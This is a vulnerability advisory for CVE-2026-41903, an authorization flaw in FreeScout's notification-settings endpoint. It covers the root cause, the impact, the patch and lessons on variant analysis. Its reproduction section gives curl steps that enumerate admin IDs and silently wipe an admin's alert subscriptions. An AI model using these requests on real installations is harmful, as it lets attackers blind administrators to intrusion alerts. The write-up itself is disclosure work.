Skip to content

Latest commit

 

History

History
167 lines (119 loc) · 7.8 KB

File metadata and controls

167 lines (119 loc) · 7.8 KB

CVE-2026-41903 — FreeScout IDOR on user notification subscriptions

A user with PERM_EDIT_USERS can read and silently rewrite any other user's notification preferences — including admins. Incomplete fix of CVE-2025-48472.

CVE CVE-2026-41903 (NVD)
GHSA GHSA-f489-qxv6-gvgg
Severity Moderate — CVSS 5.4
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
CWE CWE-863: Incorrect Authorization
Affected FreeScout < 1.8.217
Fixed 1.8.217
Authentication Authenticated user with PERM_EDIT_USERS
Reporter @whatisproblem
Related CVE-2025-48472 — same root, different sink

Summary

CVE-2025-48472 fixed an IDOR on UsersController@permissions: any user with PERM_EDIT_USERS could rewrite another user's role / permissions. The fix added an explicit ownership check on that one method — but it did not fix the underlying policy.

UsersController@notificationsSave is a sibling method on the same controller that:

  1. Loads the target user from the route parameter.
  2. Uses the same UserPolicy@update policy gate.
  3. Writes the target user's notification subscriptions.

UserPolicy@update permits any caller holding PERM_EDIT_USERS, with no per-target identity check. So a low-privileged user (typically a "supervisor"-tier account that legitimately needs to edit itself + onboard new users) can issue a single POST and silently mute any admin's email/browser/mobile alerts — including the ones that fire on suspicious login, SMTP test failures, conversation escalation, etc.

This is a textbook example of a fix that addressed the symptom (one method) instead of the cause (the policy).

Root cause

app/Policies/UserPolicy.php (paraphrased):

public function update(User $caller, User $target)
{
    return $caller->isAdmin()
        || $caller->hasPermission(User::PERM_EDIT_USERS);
    // missing: || $caller->id === $target->id-style scoping
}

app/Http/Controllers/UsersController.phpnotificationsSave():

public function notificationsSave($id, Request $request)
{
    $user = User::findOrFail($id);
    $this->authorize('update', $user);   // <-- the broad policy

    // sync notification subscriptions for $user from $request input
    Subscription::saveFromArray($request->input('subscriptions', []), $user->id);

    return redirect()->back()->with('flash_success', __('Notifications updated'));
}

What the original CVE-2025-48472 patch did correctly on permissions():

// permissions() — patched form, paraphrased
if (!$caller->isAdmin() && $caller->id !== $user->id) {
    abort(403);
}

…but the equivalent guard was never added to notificationsSave(), emailSave(), or other methods that share the UserPolicy@update gate. The IDOR survived on those siblings.

Impact

This is rated Moderate (5.4) rather than High because:

  • Confidentiality: None — the response doesn't leak the target's existing subscriptions content (the form GET is gated separately).
  • Integrity: Low — the attacker can only flip subscription booleans, not arbitrary fields.
  • Availability: Low — alerts that admins rely on (e.g. "new ticket assigned to me", "mailbox SMTP failure") can be silenced.

The realistic scenario: an attacker who already compromised a low-priv PERM_EDIT_USERS account uses this as a stealth primitive before pivoting — turning off the admin's "suspicious login" / "new admin created" / "conversation escalated" alerts so subsequent actions go unnoticed. It is a defense-in-depth weakener, not a direct breach. But it is exploitable in seconds and the fix is one line.

Reproduction

Setup

git clone https://github.com/freescout-help-desk/freescout
cd freescout && git checkout 1.8.216
docker compose up -d

Create two users:

  • admin@example.com — full admin
  • editor@example.comno admin role, but holds PERM_EDIT_USERS

Step 1 — log in as editor@example.com

curl -c jar.txt -b jar.txt -L \
  -X POST http://localhost:8080/login \
  -d "email=editor@example.com&password=..."

Step 2 — find the admin's user id

Trivial: enumerate /users/{id} until one shows the admin badge, or read it from any conversation page where the admin is the assignee. Call this <ADMIN_ID>.

Step 3 — silently mute the admin

curl -b jar.txt -X POST \
  http://localhost:8080/users/<ADMIN_ID>/notifications \
  -H "X-CSRF-TOKEN: <csrf>" \
  --data-urlencode 'subscriptions[]='     # empty -> all subscriptions wiped

A 302 redirect with flash_success confirms the write. Inspect the DB:

SELECT * FROM subscriptions WHERE user_id = <ADMIN_ID>;
-- (empty)

The admin no longer receives any alerts they had previously enabled.

Step 4 — verify the policy, not the route, is the gate

The same primitive works on every method that uses UserPolicy@update and takes a {id} route param. permissions() is now correctly guarded post-CVE-2025-48472, but notificationsSave() (and any newly added sibling) is not.

Fix

Patched in 1.8.217. The minimal correct fix is on the policy, not the controller:

public function update(User $caller, User $target)
{
    if ($caller->isAdmin()) return true;
    if ($caller->id === $target->id) return true;        // self-edit
    return false;
    // PERM_EDIT_USERS callers must use a *separate*, narrower policy method
    // for cross-user writes (e.g. permissionsAsManager()), with explicit
    // scope (only non-admins, only within their team, etc.).
}

Adding the caller->id === target->id guard at the policy level — and refactoring callers that genuinely need cross-user write access to use a purpose-specific policy method — closes this entire class of bug instead of only the most-recently-noticed instance.

Timeline

  • 2026-04-17/18 — Discovered as variant of CVE-2025-48472 during automated audit.
  • 2026-04-18 — Reported privately via GHSA Draft.
  • 2026-04 — Patched in 1.8.217.
  • 2026-07-17 (planned) — Public write-up published.

Lessons

  • An incomplete fix is a sustained vulnerability with a sleep timer. When CVE-2025-48472 was patched at the controller level instead of the policy level, every sibling controller method became a future CVE. CVE-2026-41903 is the bill coming due.
  • When you patch one method, audit every method that shares the same policy gate. The original fix should have been a policy refactor; the controller-level guard was an over-fitted patch.
  • Variant analysis is high-yield. This class of finding (pull a CVE, find what the fix missed) is one of the most reliable sources of new CVEs, and tooling can do most of it (which is how this one was found).

References